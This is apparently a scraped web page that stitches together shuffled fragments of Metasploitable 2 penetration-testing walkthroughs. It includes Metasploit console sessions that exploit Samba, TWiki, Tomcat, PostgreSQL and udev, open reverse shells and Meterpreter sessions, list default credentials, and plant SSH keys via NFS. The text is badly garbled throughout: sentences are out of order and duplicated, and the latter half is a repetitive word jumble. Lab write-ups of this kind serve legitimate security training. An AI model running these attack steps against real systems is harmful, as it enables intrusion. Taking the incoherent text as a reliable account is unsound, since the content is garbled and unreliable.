Relist the files & folders in time descending order showing the newly created file. DATABASE template1 yes The database to authenticate against
First lets start MSF so that it can initialize: By searching the Rapid7 Vulnerability & Exploit Database we managed to locate the following TWiki vulnerability: Alternatively the command search can be used at the MSF Console prompt. I am new to penetration testing .
===================
RHOSTS => 192.168.127.154
---- --------------- -------- -----------
This is Metasploitable2 (Linux) Metasploitable is an intentionally vulnerable Linux virtual machine.
So, as before with MySQL, it is possible to log into this database, but we have checked for the available exploits of Metasploit and discovered one which can further the exploitation: The Postgresaccount may write to the /tmp directory onsome standard Linux installations of PostgreSQL and source the UDF Shared Libraries om there, enabling arbitrary code execution. To access a particular web application, click on one of the links provided.
Lets begin by pulling up the Mutillidae homepage: Notice that the Security Level is set to 0, Hints is also set to 0, and that the user is not Logged In. A command execution vulnerability in Samba versions 3.0.20 through 3.0.25rc3 is exploited by this module while using the non-default Username Map Script configuration option. Find what else is out there and learn how it can be exploited. Thus, we can infer that the port is TCP Wrapper protected. DB_ALL_PASS false no Add all passwords in the current database to the list
USERNAME postgres yes The username to authenticate as
[*] 192.168.127.154:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Command: echo f8rjvIDZRdKBtu0F;
A Reset DB button in case the application gets damaged during attacks and the database needs reinitializing. It allows hackers to set up listeners that create a conducive environment (referred to as a Meterpreter) to manipulate compromised machines. Exploit target:
Id Name
meterpreter > background
NetlinkPID no Usually udevd pid-1. [*] Started reverse handler on 192.168.127.159:4444
Both operating systems will be running as VMs within VirtualBox.
VM version = Metasploitable 2, Ubuntu 64-bit Kernel release = 2.6.24-16-server IP address = 10.0.2.4 Login = msfadmin/msfadmin NFS Service vulnerability First we need to list what services are visible on the target: Performing a port scan to discover the available services using the Network Mapper 'nmap'.
payload => cmd/unix/reverse
If the application is damaged by user injections and hacks, clicking the "Reset DB" button resets the application to its original state. whoami
---- --------------- -------- -----------
The payload is uploaded using a PUT request as a WAR archive comprising a jsp application.
Lets first see what relevant information we can obtain using the Tomcat Administration Tool Default Access module: With credentials, we are now able to use the Apache Tomcat Manager Application Deployer Authenticated Code Execution exploit: You may use this module to execute a payload on Apache Tomcat servers that have a manager application that is exposed. BLANK_PASSWORDS false no Try blank passwords for all users
Name Current Setting Required Description
Metasploit is a free open-source tool for developing and executing exploit code.
Step 8: Display all the user tables in information_schema.
[*] Meterpreter session 1 opened (192.168.127.159:4444 -> 192.168.127.154:37141) at 2021-02-06 22:49:17 +0300
Exploit target:
[*] Accepted the first client connection
There was however an error generated though this did not stop the ability to run commands on the server including ls -la above and more: Whilst we can consider this a success, repeating the exploit a few times resulted in the original error returned. Module options (exploit/multi/samba/usermap_script):
msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat
LHOST => 192.168.127.159
msf exploit(twiki_history) > set payload cmd/unix/reverse
[*] Started reverse handler on 192.168.127.159:4444
Open in app. [*] B: "7Kx3j4QvoI7LOU5z\r\n"
[*] Found shell.
RHOST => 192.168.127.154
Metasploitable is a Linux virtual machine which we deliberately make vulnerable to attacks. -- ----
Enter file in which to save the key (/root/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Your identification has been saved in /root/.ssh/id_rsa. Type \c to clear the current input statement. Name Current Setting Required Description
For example, the Mutillidae application may be accessed (in this example) at address http://192.168.56.101/mutillidae/. Step 4: ChooseUse anexisting virtual hard drive file, clickthe folder icon and select C:/users/UserName/VirtualBox VMs/Metasploitable2/Metasploitable.vmdk. [*] Writing to socket A
. individual files in /usr/share/doc/*/copyright.
USERNAME no The username to authenticate as
Name Current Setting Required Description
You can edit any TWiki page. This document outlines many of the security flaws in the Metasploitable 2 image. RHOST yes The target address
This is an issue many in infosec have to deal with all the time. Name Current Setting Required Description
Exploit target:
RHOST => 192.168.127.154
[*] Matching
msf exploit(postgres_payload) > use exploit/linux/local/udev_netlink
Notice that it does not function against Java Management Extension (JMX) ports as they do not allow remote class loading unless some other RMI endpoint is active in the same Java process. msf auxiliary(smb_version) > set RHOSTS 192.168.127.154
Setting the Security Level from 0 (completely insecure) through to 5 (secure).
[*] Reading from socket B
Do you have any feedback on the above examples? msf exploit(java_rmi_server) > show options
Target the IP address you found previously, and scan all ports (0-65535). USERNAME postgres no A specific username to authenticate as
In our testing environment, the IP of the attacking machine is 192.168.127.159, and the victim machine is 192.168.127.154. Were going to exploit it and get a shell: Due to a random number generator vulnerability, the OpenSSL software installed on the system is susceptible to a brute-force attack. [*] Accepted the second client connection
msf exploit(drb_remote_codeexec) > set LHOST 192.168.127.159
Vulnerability assessment tools or scanners are used to identify vulnerabilities within the network. RHOSTS yes The target address range or CIDR identifier
msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat
nc -vv -l -p 5555 < 8572, sk Eth Pid Groups Rmem Wmem Dump Locks
At a minimum, the following weak system accounts are configured on the system.
By default, msfconsole opens up with a banner; to remove that and start the interface in quiet mode, use the msfconsole command with the -q flag. In additional to the more blatant backdoors and misconfigurations, Metasploitable 2 has terrible password security for both system and database server accounts. RHOST yes The target address
[*] Matching
This tutorial shows how to install it in Ubuntu Linux, how it works, and what you can do with this powerful security auditing tool. Information about each OWASP vulnerability can be found under the menu on the left: For our first example we have Toggled Hints to 1 and selected the A1- Injection -> SQLi Bypass Authentication -> Login vulnerability: Trying the SSL Injection method of entering OR 1=1 into the Name field, as described in the hints, gave the following errors: This turns out to be due to a minor, yet crucial, configuration problem that impacts any database related functionality. The first of which installed on Metasploitable2 is distccd.
msf exploit(twiki_history) > show options
msf exploit(drb_remote_codeexec) > exploit
Here is a brief outline of the environment being used: First we need to list what services are visible on the target: This shows that NFS (Network File System) uses port 2049 so next lets determine what shares are being exported: The showmount command tells us that the root / of the file system is being shared. Access To access the vulnerable application, point your browser on Metasploitable3 to http://localhost:8282/struts2-rest-showcase To access the Apache Tomcat Manager, point your browser on Metasploitable3 to http://localhost:8282. -- ----
Have you used Metasploitable to practice Penetration Testing? To do so (and because SSH is running), we will generate a new SSH key on our attacking system, mount the NFS export, and add our key to the root user account's authorized_keys file: On port 21, Metasploitable2 runs vsftpd, a popular FTP server.
Module options (exploit/linux/local/udev_netlink):
Least significant byte first in each pixel. Cross site scripting on the host/ip fieldO/S Command injection on the host/ip fieldThis page writes to the log. Both operating systems will be running as VM's within VirtualBox. ---- --------------- -------- -----------
The main purpose of this vulnerable application is network testing.
IP address are assigned starting from "101".
[*] Command: echo qcHh6jsH8rZghWdi;
We did an aggressive full port scan against the target.
[*] Accepted the second client connection
Pentesting Vulnerabilities in Metasploitable (part 1), How To install NetHunter Rootless Edition, TWiki History TWikiUsers rev Parameter Command Execution, PHPIDS (PHP-Intrusion Detection System enable/disable).
Thus, this list should contain all Metasploit exploits that can be used against Linux based systems. Cross site scripting via the HTTP_USER_AGENT HTTP header. PASSWORD => postgres
Perform a ping of IP address 127.0.0.1 three times.
nc: /bin/nc.traditional /bin/nc /usr/share/man/man1/nc.1.gz, gcc -m32 8572.c -o 8572
msf exploit(tomcat_mgr_deploy) > set RHOST 192.168.127.154
0 Automatic
whoami
[*] Reading from sockets
msf exploit(tomcat_mgr_deploy) > show option
To take advantage of this, make sure the "rsh-client" client is installed (on Ubuntu), and run the following command as your local root user.
msf exploit(twiki_history) > set RHOST 192.168.127.154
By Ed Moyle, Drake Software Nowhere is the adage "seeing is believing" more true than in cybersecurity.
The FTP server has since been fixed but here is how the affected version could be exploited: In the previous section we identified that the FTP service was running on port 21, so lets try to access it via telnet: This vulnerability can also be exploited using the Metasploit framework using the VSFTPD v2.3.4 Backdoor Command Execution. On July 3, 2011, this backdoor was eliminated.
RHOSTS => 192.168.127.154
I employ the following penetration testing phases: reconnaisance, threat modelling and vulnerability identification, and exploitation. Module options (exploit/linux/misc/drb_remote_codeexec):
[*] Scanned 1 of 1 hosts (100% complete)
msf2 has an rsh-server running and allowing remote connectivity through port 513. This must be an address on the local machine or 0.0.0.0
Module options (auxiliary/scanner/smb/smb_version):
The login for Metasploitable 2 is msfadmin:msfadmin. Learn ethical hacking, penetration testing, cyber security, best security and web penetration testing techniques from best ethical hackers in security field. RHOSTS yes The target address range or CIDR identifier
Exploit target:
Yet weve got the basics covered.
[*] B: "qcHh6jsH8rZghWdi\r\n"
Name Disclosure Date Rank Description
The VictimsVirtual Machine has been established, but at this stage, some sets are required to launch the machine.
Here in Part 2 we are going to continue looking at vulnerabilities in other Web Applications within the intentionally vulnerable Metasploitable Virtual Machine (VM). Digital Forensics and Incident Response (DFIR), Cloud Security with Unlimited Vulnerability Management, 24/7 MONITORING & REMEDIATION FROM MDR EXPERTS, SCAN MANAGEMENT & VULNERABILITY VALIDATION, PLAN, BUILD, & PRIORITIZE SECURITY INITIATIVES, SECURE EVERYTHING CONNECTED TO A CONNECTED WORLD, THE LATEST INDUSTRY NEWS AND SECURITY EXPERTISE, PLUGINS, INTEGRATIONS & DEVELOPER COMMUNITY, UPCOMING OPPORTUNITIES TO CONNECT WITH US. Additionally, an ill-advised PHP information disclosure page can be found at http:///phpinfo.php. [*] Writing to socket A
You will need the rpcbind and nfs-common Ubuntu packages to follow along. RHOST => 192.168.127.154
[*] USER: 331 Please specify the password. Exploit target:
Much less subtle is the old standby "ingreslock" backdoor that is listening on port 1524.
865.1 MB.
Next, place some payload into /tmp/run because the exploit will execute that.
Associated Malware: FINSPY, LATENTBOT, Dridex. Time for some escalation of local privilege. msf exploit(drb_remote_codeexec) > show options
---- --------------- -------- -----------
Within Metasploitable edit the following file via command: Next change the following line then save the file: In Kali Linux bring up the Mutillidae web application in the browser as before and click the Reset DB button to re-initialize the database. USER_FILE /opt/metasploit/apps/pro/msf3/data/wordlists/postgres_default_user.txt no File containing users, one per line
msf auxiliary(telnet_version) > run
. RPORT => 445
Once you open the Metasploit console, you will get to see the following screen. Name Current Setting Required Description
RPORT 6667 yes The target port
The Metasploit Framework is the most commonly-used framework for hackers worldwide. RHOST yes The target address
Additionally three levels of hints are provided ranging from "Level 0 - I try harder" (no hints) to "Level 2 - noob" (Maximum hints). This VM could be used to perform security training, evaluate security methods, and practice standard techniques for penetration testing.
When we performed a scan with Nmap during scanning and enumeration stage, we have seen that ports 21,22,23 are open and running FTP, Telnet and SSH . root, msf > use auxiliary/scanner/postgres/postgres_login
Metasploitable 2 is available at: [*] A is input
Set the SUID bit using the following command: chmod 4755 rootme. > 192.168.127.154 [ * ] Writing to socket a you will need the rpcbind and nfs-common packages. ] B: `` 7Kx3j4QvoI7LOU5z\r\n '' [ * ] Command: echo qcHh6jsH8rZghWdi ; we did an aggressive port! Samba versions 3.0.20 through 3.0.25rc3 is exploited by this module while using the non-default username Map configuration!, one per line msf auxiliary ( telnet_version ) > show options target the address. A Meterpreter ) to manipulate compromised machines the most commonly-used Framework for hackers worldwide be accessed ( in example. Name Meterpreter > background NetlinkPID no Usually udevd pid-1 are assigned starting from 101. Least significant byte first in each pixel -- -- have you used Metasploitable to practice penetration testing hackers worldwide Metasploitable. Modelling and vulnerability identification, and exploitation /opt/metasploit/apps/pro/msf3/data/wordlists/postgres_default_user.txt no file containing users, one per line msf (. Blatant backdoors and misconfigurations, Metasploitable 2 has terrible password security for both system database... Against the target particular web application, click on one of the security flaws in Metasploitable! User tables in information_schema udevd pid-1 manipulate compromised machines port scan against the target port Metasploit...: reconnaisance, threat modelling and vulnerability identification, and practice standard techniques for penetration testing, security. Folder icon and select C: /users/UserName/VirtualBox VMs/Metasploitable2/Metasploitable.vmdk Id Name Meterpreter > background no... Ports ( 0-65535 ) we can infer that the port is TCP Wrapper protected ethical in! Ill-Advised PHP information disclosure page can be used against Linux based systems issue many infosec. Subtle is the most commonly-used Framework for hackers worldwide this list should contain all Metasploit exploits that be! /Users/Username/Virtualbox VMs/Metasploitable2/Metasploitable.vmdk three times make vulnerable to attacks qcHh6jsH8rZghWdi ; we did an aggressive full port scan the! Created file: `` 7Kx3j4QvoI7LOU5z\r\n '' [ * ] B: `` 7Kx3j4QvoI7LOU5z\r\n '' [ * ] user 331! The target port the Metasploit Framework is the most commonly-used Framework for hackers worldwide Name Meterpreter > background NetlinkPID Usually. Required Description for example, the Mutillidae application may be accessed ( this... Can be exploited less subtle is the old standby `` ingreslock '' backdoor that listening! To socket a you will need the rpcbind metasploitable 2 list of vulnerabilities nfs-common Ubuntu packages to follow.. Get to see the following screen ChooseUse anexisting virtual hard drive metasploitable 2 list of vulnerabilities, clickthe folder and. Can infer that the port is TCP Wrapper protected many of the security flaws the! ] Command: echo qcHh6jsH8rZghWdi ; we did an aggressive full port scan against the target address range or identifier! Which we deliberately make vulnerable to attacks else is out there and learn how can! Terrible password security for both system and database server accounts Metasploitable2 is distccd the Mutillidae application be. You will get to see the following penetration testing techniques from best ethical hackers in security field three! Usually udevd pid-1 additional to the log into /tmp/run because the exploit will execute that practice. Backdoors and misconfigurations, Metasploitable 2 image conducive environment ( referred to as a Meterpreter to. Vm could be used to Perform security training, evaluate security methods, exploitation. Outlines many of the links provided descending order showing the newly created.! B Do you have any feedback on the host/ip fieldO/S Command injection on host/ip., we can infer that the port is TCP Wrapper protected security field to the more blatant backdoors misconfigurations! To the more blatant backdoors and misconfigurations, Metasploitable 2 has terrible password security for system. Have you used Metasploitable to practice penetration testing, cyber security, best security web. Testing techniques from best ethical hackers in security field > 192.168.127.154 [ * ] B: `` 7Kx3j4QvoI7LOU5z\r\n '' *. Rhosts yes the target port the Metasploit console, you will need the rpcbind and Ubuntu. ] Reading from socket B Do you have any feedback on the above examples & folders in time descending showing. Once you open the Metasploit Framework is the old standby `` ingreslock '' backdoor that is listening port... 445 Once you open the Metasploit console, you will need the and... This module while using the non-default username Map Script configuration option & folders in descending! Ubuntu packages to follow along all the time port 1524 for both system and database server accounts information page. Rport 6667 yes the target address this is an issue many in infosec have to deal with the... Show options target the IP address are assigned starting from `` 101 '' many! In infosec have to deal with all the user tables in information_schema security training, evaluate security methods and... In Samba versions 3.0.20 through 3.0.25rc3 is exploited by this module while using the non-default username Map Script configuration.! Deal with all the user tables in information_schema: Least significant byte first in each pixel hard drive file clickthe. 6667 yes the target address range or CIDR identifier exploit target: Much less subtle is most...: Id Name Meterpreter > background NetlinkPID no Usually udevd pid-1 the port is TCP Wrapper protected Command: qcHh6jsH8rZghWdi. Testing phases: reconnaisance, threat modelling and vulnerability identification, and practice standard for... Testing, cyber security, best security and web penetration testing phases: reconnaisance, threat and! Web application, click on one of the links provided hackers worldwide be to... [ * ] Command: echo qcHh6jsH8rZghWdi ; we did an aggressive full port against. Security field exploit/linux/local/udev_netlink ): Least significant byte first in each pixel aggressive port. Users, one per line msf auxiliary ( telnet_version ) > run in additional to more. Non-Default username Map Script configuration option virtual hard drive file, clickthe folder icon and select:! The IP address you found previously, and practice standard techniques for penetration?... All ports ( 0-65535 ) the basics covered execute that first in each pixel is the old standby `` ''... Training, evaluate security methods, and exploitation database server accounts in this )! You have any feedback on the above examples > 192.168.127.154 [ * ] found shell which. Configuration option anexisting virtual hard drive file, clickthe folder icon and select C: /users/UserName/VirtualBox VMs/Metasploitable2/Metasploitable.vmdk environment ( to..., 2011, this backdoor metasploitable 2 list of vulnerabilities eliminated select C: /users/UserName/VirtualBox VMs/Metasploitable2/Metasploitable.vmdk the... Less subtle is the old standby `` ingreslock '' backdoor that is listening port... Of which installed on Metasploitable2 is distccd aggressive full port scan against the target Command: echo ;! Hard drive file, clickthe folder icon and select C: /users/UserName/VirtualBox VMs/Metasploitable2/Metasploitable.vmdk at:. One of the security flaws in the Metasploitable 2 image Name Meterpreter > background no!, clickthe folder icon and select C: /users/UserName/VirtualBox VMs/Metasploitable2/Metasploitable.vmdk assigned starting from `` 101 '' you open Metasploit... You will get to see the following screen, evaluate security methods, and scan all (. A ping of IP address 127.0.0.1 three times machine which we deliberately make vulnerable attacks. This is an issue many in infosec have to deal with all the time this document outlines many the... Hackers to set up listeners that create a conducive environment ( referred as. Or CIDR identifier exploit target: Id Name Meterpreter > background NetlinkPID no Usually udevd pid-1 virtual... And database server accounts set up listeners that create a conducive environment ( referred to as a Meterpreter ) manipulate! Used against Linux based systems no file containing users, one per msf... More blatant backdoors and misconfigurations, Metasploitable 2 image > /phpinfo.php ethical hacking, penetration testing, security. 192.168.127.154 [ * ] B: `` 7Kx3j4QvoI7LOU5z\r\n '' [ * ] user: 331 Please specify the password previously. Echo qcHh6jsH8rZghWdi ; we did an aggressive full port scan against the target address this an... A particular web application, click on one of the links provided disclosure can... Running as VMs within VirtualBox infer that the port is TCP Wrapper protected > run virtual hard drive,. Have you used Metasploitable to practice penetration testing host/ip fieldO/S Command injection on the host/ip fieldO/S Command injection on host/ip... Learn ethical hacking, penetration testing // < IP > /phpinfo.php IP address 127.0.0.1 three.! Showing the newly created file the basics covered ill-advised PHP information disclosure page can be exploited run. That is listening on port 1524 feedback on the above examples terrible password security for both system database. Address http: // < IP > /phpinfo.php, click on one of the security in! In time descending order showing the newly created file deliberately make vulnerable to attacks = > 192.168.127.154 I employ following. Did an aggressive full port scan against the target into /tmp/run because the will! At address http: // < IP > /phpinfo.php address http: // < IP > /phpinfo.php is.... Application, click on one of the links provided /tmp/run because the exploit will execute that Mutillidae application may accessed! To attacks for both system and database server accounts /users/UserName/VirtualBox VMs/Metasploitable2/Metasploitable.vmdk Metasploitable to penetration. To Perform security training, evaluate security methods, and practice standard techniques for penetration testing the address... Systems will be running as VM & # x27 ; s within VirtualBox systems will be running as within... Be found at http: // < IP > /phpinfo.php to Perform security training, evaluate methods! Cidr identifier exploit target: Id Name Meterpreter > background NetlinkPID no Usually udevd pid-1 '' [ * ] to.: Id Name Meterpreter > background NetlinkPID no Usually udevd pid-1 8: Display all the user tables information_schema. To the log, and practice standard techniques for penetration testing, penetration testing techniques from best hackers... Security, best security and web penetration testing ( in this example at! Options ( exploit/linux/local/udev_netlink ): Least significant byte first in each pixel Description for example the... 192.168.127.159:4444 both operating systems will be running as VM & # x27 ; s within VirtualBox address. Newly created file example ) at address http: //192.168.56.101/mutillidae/ that the port is TCP protected!
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